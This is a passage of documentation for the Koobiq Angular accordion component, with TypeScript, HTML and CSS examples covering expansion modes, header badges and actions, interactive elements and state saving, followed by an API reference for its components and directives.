                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
    </kbq-accordion>

    <div>
        <div
            style="color: var(--kbq-foreground-contrast-secondary)"
            class="kbq-text-normal layout-margin-top-l layout-margin-bottom-s layout-row layout-align-center"
        >
            Trigger Position
        </div>
        <kbq-button-toggle-group #group1="kbqButtonToggleGroup" class="layout-margin-s" [value]="accordionVariant.fill">
            <kbq-button-toggle [value]="accordionVariant.fill">Before Title</kbq-button-toggle>
            <kbq-button-toggle [value]="accordionVariant.hug">After Title</kbq-button-toggle>
            <kbq-button-toggle [value]="accordionVariant.hugSpaceBetween">Separately</kbq-button-toggle>
        </kbq-button-toggle-group>
    </div>
</div>
```

##### Section Expansion

By default, the accordion allows only one section to be expanded at a time. However, it is possible to enable the expansion of all sections simultaneously.

**Example: Accordion sections** (`accordion-sections`)

```ts accordion-sections-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqAccordionModule } from '@koobiq/components/accordion';
import { KbqButtonToggleModule } from '@koobiq/components/button-toggle';

@Component({
    selector: 'accordion-sections-example',
    imports: [KbqAccordionModule, KbqButtonToggleModule],
    templateUrl: 'accordion-sections-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AccordionSectionsExample {}
```

```html accordion-sections-example.html
<div class="layout-column layout-fill layout-align-center-center docs-example-vertical-margin">
    <kbq-accordion style="width: 300px" [type]="toggle.value">
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
    </kbq-accordion>

    <div>
        <div
            style="color: var(--kbq-foreground-contrast-secondary)"
            class="kbq-text-normal layout-margin-top-l layout-margin-bottom-s layout-row layout-align-center"
        >
            Openning
        </div>
        <kbq-button-toggle-group #toggle="kbqButtonToggleGroup" class="layout-margin-s" [value]="'single'">
            <kbq-button-toggle [value]="'single'">Single</kbq-button-toggle>
            <kbq-button-toggle [value]="'multiple'">Multiple</kbq-button-toggle>
        </kbq-button-toggle-group>
    </div>
</div>
```

##### Inactive Section

If necessary, a section can be disabled, preventing it from being expanded.

**Example: Accordion inactive section** (`accordion-inactive-section`)

```ts accordion-inactive-section-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqAccordionModule } from '@koobiq/components/accordion';

@Component({
    selector: 'accordion-inactive-section-example',
    imports: [KbqAccordionModule],
    templateUrl: 'accordion-inactive-section-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AccordionInactiveSectionExample {}
```

```html accordion-inactive-section-example.html
<div class="layout-column layout-fill layout-align-center-center docs-example-vertical-margin">
    <kbq-accordion style="width: 300px">
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item [disabled]="true">
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
    </kbq-accordion>
</div>
```

##### Content Placement

The content inside a section can be placed within the section header or inside the content area.

###### Inside the Section Header

The section header can additionally include an icon, description, left and right badges, as well as extra actions (using an Icon Button).

**Example: Accordion header** (`accordion-header`)

```ts accordion-header-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqAccordionModule } from '@koobiq/components/accordion';
import { KbqBadgeModule } from '@koobiq/components/badge';
import { KbqCheckboxModule } from '@koobiq/components/checkbox';
import { KbqIcon, KbqIconButton } from '@koobiq/components/icon';

@Component({
    selector: 'accordion-header-example',
    imports: [KbqAccordionModule, KbqBadgeModule, KbqCheckboxModule, KbqIcon, KbqIconButton],
    templateUrl: 'accordion-header-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AccordionHeaderExample {
    icon: boolean = false;
    caption: boolean = false;
    leftBadge: boolean = false;
    rightBadge: boolean = false;
    actions: boolean = false;
}
```

```html accordion-header-example.html
<div class="layout-row layout-fill layout-align-space-around docs-example-vertical-margin">
    <kbq-accordion style="width: 360px">
        <kbq-accordion-item>
            <kbq-accordion-header>
                <button kbq-accordion-trigger type="button">
                    @if (icon) {
                        <i kbq-icon="kbq-database_16" class="layout-margin-right-xxs"></i>
                    }
                    <span class="layout-margin-right-s">Text</span>
                    @if (caption) {
                        <span
                            style="color: var(--kbq-foreground-contrast-secondary)"
                            class="kbq-accordion-trigger__caption"
                        >
                            Caption
                        </span>
                    }
                    @if (leftBadge) {
                        <kbq-badge class="kbq-accordion-trigger__badge" [compact]="true">Badge</kbq-badge>
                    }
                    @if (rightBadge) {
                        <kbq-badge style="margin-left: auto" class="kbq-accordion-trigger__badge" [compact]="true">
                            Badge
                        </kbq-badge>
                    }
                </button>

                <!-- Actions go next to the trigger, not inside it: the trigger is a role="button",
                     and nesting focusable elements in it breaks accessibility. Each label names its
                     own section, since every section here shares the same "Text" title. -->
                @if (actions) {
                    <div class="kbq-accordion-header__actions">
                        <button kbq-icon-button="kbq-bolt_16" type="button" aria-label="Bolt, section 1"></button>
                        <button kbq-icon-button="kbq-bug_16" type="button" aria-label="Bug, section 1"></button>
                        <button
                            kbq-icon-button="kbq-ellipsis-vertical_16"
                            type="button"
                            aria-label="More, section 1"
                        ></button>
                    </div>
                }
            </kbq-accordion-header>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <kbq-accordion-header>
                <button kbq-accordion-trigger type="button">
                    @if (icon) {
                        <i kbq-icon="kbq-database_16" class="layout-margin-right-xxs"></i>
                    }
                    <span class="layout-margin-right-s">Text</span>
                    @if (caption) {
                        <span
                            style="color: var(--kbq-foreground-contrast-secondary)"
                            class="kbq-accordion-trigger__caption"
                        >
                            Caption
                        </span>
                    }
                    @if (leftBadge) {
                        <kbq-badge class="kbq-accordion-trigger__badge" [compact]="true">Badge</kbq-badge>
                    }
                    @if (rightBadge) {
                        <kbq-badge style="margin-left: auto" class="kbq-accordion-trigger__badge" [compact]="true">
                            Badge
                        </kbq-badge>
                    }
                </button>

                @if (actions) {
                    <div class="kbq-accordion-header__actions">
                        <button kbq-icon-button="kbq-bolt_16" type="button" aria-label="Bolt, section 2"></button>
                        <button kbq-icon-button="kbq-bug_16" type="button" aria-label="Bug, section 2"></button>
                        <button
                            kbq-icon-button="kbq-ellipsis-vertical_16"
                            type="button"
                            aria-label="More, section 2"
                        ></button>
                    </div>
                }
            </kbq-accordion-header>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <kbq-accordion-header>
                <button kbq-accordion-trigger type="button">
                    @if (icon) {
                        <i kbq-icon="kbq-database_16" class="layout-margin-right-xxs"></i>
                    }
                    <span class="layout-margin-right-s">Text</span>
                    @if (caption) {
                        <span
                            style="color: var(--kbq-foreground-contrast-secondary)"
                            class="kbq-accordion-trigger__caption"
                        >
                            Caption
                        </span>
                    }
                    @if (leftBadge) {
                        <kbq-badge class="kbq-accordion-trigger__badge" [compact]="true">Badge</kbq-badge>
                    }
                    @if (rightBadge) {
                        <kbq-badge style="margin-left: auto" class="kbq-accordion-trigger__badge" [compact]="true">
                            Badge
                        </kbq-badge>
                    }
                </button>

                @if (actions) {
                    <div class="kbq-accordion-header__actions">
                        <button kbq-icon-button="kbq-bolt_16" type="button" aria-label="Bolt, section 3"></button>
                        <button kbq-icon-button="kbq-bug_16" type="button" aria-label="Bug, section 3"></button>
                        <button
                            kbq-icon-button="kbq-ellipsis-vertical_16"
                            type="button"
                            aria-label="More, section 3"
                        ></button>
                    </div>
                }
            </kbq-accordion-header>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <kbq-accordion-header>
                <button kbq-accordion-trigger type="button">
                    @if (icon) {
                        <i kbq-icon="kbq-database_16" class="layout-margin-right-xxs"></i>
                    }
                    <span class="layout-margin-right-s">Text</span>
                    @if (caption) {
                        <span
                            style="color: var(--kbq-foreground-contrast-secondary)"
                            class="kbq-accordion-trigger__caption"
                        >
                            Caption
                        </span>
                    }
                    @if (leftBadge) {
                        <kbq-badge class="kbq-accordion-trigger__badge" [compact]="true">Badge</kbq-badge>
                    }
                    @if (rightBadge) {
                        <kbq-badge style="margin-left: auto" class="kbq-accordion-trigger__badge" [compact]="true">
                            Badge
                        </kbq-badge>
                    }
                </button>

                @if (actions) {
                    <div class="kbq-accordion-header__actions">
                        <button kbq-icon-button="kbq-bolt_16" type="button" aria-label="Bolt, section 4"></button>
                        <button kbq-icon-button="kbq-bug_16" type="button" aria-label="Bug, section 4"></button>
                        <button
                            kbq-icon-button="kbq-ellipsis-vertical_16"
                            type="button"
                            aria-label="More, section 4"
                        ></button>
                    </div>
                }
            </kbq-accordion-header>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <kbq-accordion-header>
                <button kbq-accordion-trigger type="button">
                    @if (icon) {
                        <i kbq-icon="kbq-database_16" class="layout-margin-right-xxs"></i>
                    }
                    <span class="layout-margin-right-s">Text</span>
                    @if (caption) {
                        <span
                            style="color: var(--kbq-foreground-contrast-secondary)"
                            class="kbq-accordion-trigger__caption"
                        >
                            Caption
                        </span>
                    }
                    @if (leftBadge) {
                        <kbq-badge class="kbq-accordion-trigger__badge" [compact]="true">Badge</kbq-badge>
                    }
                    @if (rightBadge) {
                        <kbq-badge style="margin-left: auto" class="kbq-accordion-trigger__badge" [compact]="true">
                            Badge
                        </kbq-badge>
                    }
                </button>

                @if (actions) {
                    <div class="kbq-accordion-header__actions">
                        <button kbq-icon-button="kbq-bolt_16" type="button" aria-label="Bolt, section 5"></button>
                        <button kbq-icon-button="kbq-bug_16" type="button" aria-label="Bug, section 5"></button>
                        <button
                            kbq-icon-button="kbq-ellipsis-vertical_16"
                            type="button"
                            aria-label="More, section 5"
                        ></button>
                    </div>
                }
            </kbq-accordion-header>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
    </kbq-accordion>

    <div class="layout-column layout-margin-top-4xl">
        <kbq-checkbox class="layout-margin-bottom-s" (change)="icon = !icon">Icon</kbq-checkbox>
        <kbq-checkbox class="layout-margin-bottom-s" (change)="caption = !caption">Caption</kbq-checkbox>
        <kbq-checkbox class="layout-margin-bottom-s" (change)="leftBadge = !leftBadge">Left Badge</kbq-checkbox>
        <kbq-checkbox class="layout-margin-bottom-s" (change)="rightBadge = !rightBadge">Right Badge</kbq-checkbox>
        <kbq-checkbox class="layout-margin-bottom-s" (change)="actions = !actions">Actions</kbq-checkbox>
    </div>
</div>

<div
    style="color: var(--kbq-foreground-contrast-secondary)"
    class="kbq-text-normal layout-margin-top-l layout-margin-bottom-s layout-row layout-align-center"
>
    Скрытие и раскрытие секций производится по нажатию на всю секцию
</div>
```

###### Inside the Content Area

This area can contain any type of content.

**Example: Accordion content** (`accordion-content`)

```ts accordion-content-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqAccordionModule } from '@koobiq/components/accordion';
import { KbqCheckboxModule } from '@koobiq/components/checkbox';

@Component({
    selector: 'accordion-content-example',
    imports: [KbqAccordionModule, KbqCheckboxModule],
    templateUrl: 'accordion-content-example.html',
    styleUrls: ['accordion-content-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AccordionContentExample {
    image: boolean = false;
}
```

```html accordion-content-example.html
<div class="layout-row layout-fill layout-align-space-around docs-example-vertical-margin">
    <kbq-accordion style="width: 360px">
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content class="layout-column">
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
                @if (image) {
                    <div class="layout-margin-top-s example-accordion-image"></div>
                }
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content class="layout-column">
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
                @if (image) {
                    <div class="layout-margin-top-s example-accordion-image"></div>
                }
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content class="layout-column">
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
                @if (image) {
                    <div class="layout-margin-top-s example-accordion-image"></div>
                }
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content class="layout-column">
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
                @if (image) {
                    <div class="layout-margin-top-s example-accordion-image"></div>
                }
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content class="layout-column">
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
                @if (image) {
                    <div class="layout-margin-top-s example-accordion-image"></div>
                }
            </kbq-accordion-content>
        </kbq-accordion-item>
    </kbq-accordion>

    <div class="layout-column layout-margin-top-4xl">
        <kbq-checkbox class="layout-margin-bottom-s" [checked]="true" [disabled]="true">Paragraph</kbq-checkbox>
        <kbq-checkbox class="layout-margin-bottom-s" (change)="image = !image">Image</kbq-checkbox>
    </div>
</div>
```

```css accordion-content-example.css
.example-accordion-image {
    width: 336px;
    height: 110px;

    border-radius: var(--kbq-size-s);

    background: var(--kbq-background-bg-secondary);
}
```

###### Interactive Elements

Buttons, dropdown menus and form controls can be placed in the section header next to the trigger, as well as inside the content area. Place them **next to** the trigger, never inside it: the trigger is a `role="button"`, and nesting focusable elements in it breaks accessibility. Enter and Space toggle the section only while the trigger itself is focused.

**Example: Accordion interactive elements** (`accordion-interactive-elements`)

```ts accordion-interactive-elements-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqAccordionModule } from '@koobiq/components/accordion';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqCheckboxModule } from '@koobiq/components/checkbox';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';

type ExampleSection = {
    id: string;
    title: string;
    enabled: boolean;
    name: string;
};

@Component({
    selector: 'accordion-interactive-elements-example',
    imports: [
        KbqAccordionModule,
        KbqButtonModule,
        KbqCheckboxModule,
        KbqDropdownModule,
        KbqFormFieldModule,
        KbqIconModule,
        KbqInputModule,
        FormsModule
    ],
    templateUrl: 'accordion-interactive-elements-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AccordionInteractiveElementsExample {
    protected readonly sections: ExampleSection[] = [
        { id: 'section-1', title: 'Profile', enabled: true, name: '' },
        { id: 'section-2', title: 'Specifications', enabled: false, name: '' },
        { id: 'section-3', title: 'Servers', enabled: false, name: '' }
    ];
}
```

```html accordion-interactive-elements-example.html
<div class="layout-column layout-fill layout-align-center-center docs-example-vertical-margin">
    <kbq-accordion style="width: 360px">
        @for (section of sections; track section.id) {
            <kbq-accordion-item [value]="section.id">
                <kbq-accordion-header>
                    <button kbq-accordion-trigger type="button">{{ section.title }}</button>

                    <!-- Actions go next to the trigger, not inside it: the trigger is a role="button",
                         and nesting focusable elements in it breaks accessibility. Each label names its
                         own section so the actions stay distinguishable in a screen reader element list. -->
                    <div class="kbq-accordion-header__actions">
                        <button
                            aria-label="Run {{ section.title }}"
                            kbq-icon-button="kbq-bolt_16"
                            type="button"
                        ></button>
                        <button
                            aria-label="More actions for {{ section.title }}"
                            kbq-icon-button="kbq-ellipsis-vertical_16"
                            type="button"
                            [kbqDropdownTriggerFor]="dropdown"
                        ></button>
                    </div>
                </kbq-accordion-header>

                <kbq-accordion-content>
                    <div class="layout-column layout-gap-s">
                        <kbq-checkbox [(ngModel)]="section.enabled">Enabled</kbq-checkbox>

                        <kbq-form-field>
                            <input kbqInput placeholder="Name" [(ngModel)]="section.name" />
                        </kbq-form-field>

                        <button kbq-button type="button">Apply</button>
                    </div>
                </kbq-accordion-content>
            </kbq-accordion-item>
        }
    </kbq-accordion>

    <kbq-dropdown #dropdown="kbqDropdown">
        <button kbq-dropdown-item type="button">Rename</button>
        <button kbq-dropdown-item type="button">Duplicate</button>
        <button kbq-dropdown-item type="button">Delete</button>
    </kbq-dropdown>
</div>

<div
    style="color: var(--kbq-foreground-contrast-secondary)"
    class="kbq-text-normal layout-margin-top-l layout-margin-bottom-s layout-row layout-align-center"
>
    Enter and Space toggle the section only while the trigger itself is focused
</div>
```

#### State Saving

The accordion remembers which sections were expanded and restores the state after a page reload. On by default — use `[useStateSaving]="false"` to turn it off on a specific component.

**Example: Accordion state saving** (`accordion-state-saving`)

```ts accordion-state-saving-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqAccordionModule } from '@koobiq/components/accordion';
import { KbqButtonModule } from '@koobiq/components/button';

@Component({
    selector: 'accordion-state-saving-example',
    imports: [KbqAccordionModule, KbqButtonModule],
    templateUrl: 'accordion-state-saving-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AccordionStateSavingExample {}
```

```html accordion-state-saving-example.html
<div class="layout-column layout-fill layout-align-center-center docs-example-vertical-margin">
    <kbq-accordion #accordion stateSavingKey="accordion-state-saving-example" style="width: 300px" [type]="'multiple'">
        <kbq-accordion-item [value]="'delivery'">
            <button kbq-accordion-trigger type="button">Доставка</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item [value]="'payment'">
            <button kbq-accordion-trigger type="button">Оплата</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item [value]="'refund'">
            <button kbq-accordion-trigger type="button">Возврат</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
    </kbq-accordion>

    <button kbq-button class="layout-margin-top-l" type="button" (click)="accordion.clearSavedState()">
        Reset saved state
    </button>
</div>
```

Give the sections a `[value]`. Without one they are persisted by position, and inserting a section shifts everything after it into the wrong state.

A bound `[value]` wins over the persisted state, which wins over `defaultValue`; a section's own `[expanded]` applies only when none of them is set. `clearSavedState()` removes what is stored.

Keys, storage and expiry work the same for every component that persists — see [Saving component state](https://koobiq.io/en/components/core.md#saving-component-state).

#### Usage Examples

##### Inside a Section

**Example: Accordion in section** (`accordion-in-section`)

```ts accordion-in-section-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqAccordionModule } from '@koobiq/components/accordion';

@Component({
    selector: 'accordion-in-section-example',
    imports: [KbqAccordionModule],
    templateUrl: 'accordion-in-section-example.html',
    styleUrls: ['accordion-in-section-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AccordionInSectionExample {}
```

```html accordion-in-section-example.html
<div class="layout-column layout-fill layout-align-center-center layout-margin-top-xxl layout-margin-bottom-xxl">
    <kbq-accordion class="example-accordion-in-section layout-padding-s">
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Профиль</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Характеристики</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Сервера</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Данные</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Заметка</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
    </kbq-accordion>
</div>
```

```css accordion-in-section-example.css
.example-accordion-in-section {
    width: 316px;

    border: 1px solid var(--kbq-line-contrast-fade);

    border-radius: 16px;
}
```

##### Inside a Panel

**Example: Accordion in panel** (`accordion-in-panel`)

```ts accordion-in-panel-example.ts
import { ChangeDetectionStrategy, Component, TemplateRef, inject, viewChild } from '@angular/core';
import { KbqAccordionModule } from '@koobiq/components/accordion';
import { KbqButtonModule } from '@koobiq/components/button';
import {
    KbqSidepanelModule,
    KbqSidepanelPosition,
    KbqSidepanelService,
    KbqSidepanelSize
} from '@koobiq/components/sidepanel';

@Component({
    selector: 'accordion-in-panel-example',
    imports: [KbqAccordionModule, KbqSidepanelModule, KbqButtonModule],
    templateUrl: 'accordion-in-panel-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AccordionInPanelExample {
    private sidepanelService = inject(KbqSidepanelService);

    position: KbqSidepanelPosition = KbqSidepanelPosition.Right;
    size: KbqSidepanelSize = KbqSidepanelSize.Medium;

    readonly template = viewChild.required<TemplateRef<any>>('template');

    openPanel() {
        this.sidepanelService.open(this.template(), {
            position: this.position,
            size: this.size
        });
    }
}
```

```html accordion-in-panel-example.html
<button kbq-button (click)="openPanel()">Open panel with accordion</button>

<ng-template #template>
    <kbq-sidepanel-header [closeable]="true">Панель</kbq-sidepanel-header>

    <kbq-sidepanel-body class="layout-padding-left-l">
        <kbq-accordion>
            <kbq-accordion-item>
                <button kbq-accordion-trigger type="button">Профиль</button>
                <kbq-accordion-content>
                    Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
                </kbq-accordion-content>
            </kbq-accordion-item>
            <kbq-accordion-item>
                <button kbq-accordion-trigger type="button">Характеристики</button>
                <kbq-accordion-content>
                    Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
                </kbq-accordion-content>
            </kbq-accordion-item>
            <kbq-accordion-item>
                <button kbq-accordion-trigger type="button">Сервера</button>
                <kbq-accordion-content>
                    Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
                </kbq-accordion-content>
            </kbq-accordion-item>
            <kbq-accordion-item>
                <button kbq-accordion-trigger type="button">Данные</button>
                <kbq-accordion-content>
                    Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
                </kbq-accordion-content>
            </kbq-accordion-item>
            <kbq-accordion-item>
                <button kbq-accordion-trigger type="button">Заметка</button>
                <kbq-accordion-content>
                    Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
                </kbq-accordion-content>
            </kbq-accordion-item>
        </kbq-accordion>
    </kbq-sidepanel-body>
</ng-template>
```

##### Recommendations

- Each accordion section should have a clear and informative title that accurately reflects its content. This helps users quickly find the necessary information.
- Accordion sections should be organized in a logical sequence, such as alphabetical order, hierarchical structure, or thematic grouping.

### API

#### Components

##### KbqAccordion (component)

```ts
@Component({ selector: 'kbq-accordion, [kbq-accordion]' })
class KbqAccordion {
    readonly variant = input<KbqAccordionVariant>('fill');
    readonly disabled = input<boolean>();
    readonly orientation = input<KbqAccordionOrientation>('vertical');
    readonly level = input<number>(2);
    readonly defaultValue = input<string[] | string>([]);
    readonly type = input<KbqAccordionType>('single');
    readonly collapsible = input<boolean>(true);
    readonly value = model<string[] | string | undefined>();
    get id(): string;
    get isMultiple(): boolean;
    get hasSavedState(): boolean;
    openAll(): void;
    closeAll(): void;
    clearSavedState(): void;
}
```

- `[variant]`: `KbqAccordionVariant` — The visual variant of the accordion. Defaults to `fill`.
- `[disabled]`: `boolean` — Whether the whole accordion is disabled.
- `[orientation]`: `KbqAccordionOrientation` — The layout orientation of the accordion. Defaults to `vertical`.
- `[level]`: `number` — The `aria-level` applied to the item headings. Defaults to `2`.
  Set it to match the surrounding document outline (e.g. `3` when nested under an `<h2>` section).
- `[defaultValue]`: `string[] | string` — The value of the item(s) to expand when initially rendered.
  Use when you do not need to control the state of the items.
- `[type]`: `KbqAccordionType` — Determines whether one or multiple items can be expanded at the same time.
- `[collapsible]`: `boolean` — Whether an expanded item can be collapsed by the user. Defaults to `true`.
- `[(value)]`: `string[] | string | undefined` — The controlled value of the item(s) to expand, reshaped by mode. Supports `[(value)]`.
  Falls back to `defaultValue` while `value` is unbound.

  Always an array in `multiple` mode and always a string in `single` mode — an empty string
  when nothing is expanded, matching what `valueChange` emits.
- `[useStateSaving]`: `boolean` — Whether the component remembers its state across reloads and restores it on the next render.
  Defaults to `true`, or to whatever `KBQ_STATE_SAVING_ENABLED` is provided as.
- `[stateSavingKey]`: `string` — The key the state is persisted under. While it is empty the key is derived from where the
  component sits in the document, which moves when the surrounding markup is restructured — an `id`
  on the component or any ancestor pins it just as well as this input does.
- `id`: `string` — The unique id of this accordion.
- `isMultiple`: `boolean` — Whether multiple items can be expanded at the same time.
- `hasSavedState`: `boolean` — Whether state is currently persisted for this accordion — restored on init, or written since.
  Always `false` while `useStateSaving` is unset, and `false` again after `clearSavedState()`.
- `openAll()`: `void` — Opens all enabled accordion items in an accordion where `type` is `multiple`.
- `closeAll()`: `void` — Closes all enabled accordion items.
- `clearSavedState()`: `void` — Removes the state persisted for this accordion.

  Persistence itself stays on — the next change is written again. Unset `useStateSaving` to stop it.

##### KbqAccordionContent (component)

```ts
@Component({ selector: 'kbq-accordion-content, [kbq-accordion-content]' })
class KbqAccordionContent {}
```

##### KbqAccordionTrigger (component)

```ts
@Component({ selector: 'kbq-accordion-trigger, [kbq-accordion-trigger]' })
class KbqAccordionTrigger {
    get isFill(): boolean;
    get isHug(): boolean;
    get isHugSpaceBetween(): boolean;
    disableAnimation(): void;
    enableAnimation(): void;
}
```

#### Directives

##### KbqAccordionContentDirective (directive)

```ts
@Directive({
    selector: '[kbqAccordionContent]',
    exportAs: 'kbqAccordionContent'
})
class KbqAccordionContentDirective {
    toggle(): void;
    disableAnimation(): void;
    enableAnimation(): void;
}
```

##### KbqAccordionHeader (directive)

```ts
@Directive({ selector: 'kbq-accordion-header, [kbq-accordion-header]' })
class KbqAccordionHeader {}
```

##### KbqAccordionItem (directive)

```ts
@Directive({ selector: 'kbq-accordion-item, [kbq-accordion-item]' })
class KbqAccordionItem {
    expanded = model<boolean | undefined>();
    readonly value = input<string>('');
    disabled = input<boolean | undefined>();
    readonly closed = output<void>();
    readonly opened = output<void>();
    readonly accordion: KbqAccordion;
    get id(): string;
    focus(): void;
    toggle(): void;
    close(): void;
    open(): void;
}
```

- `[(expanded)]`: `boolean | undefined` — Whether the AccordionItem is expanded. When the accordion initializes, its controlled `value`, the saved
  state and `defaultValue` take precedence over it.
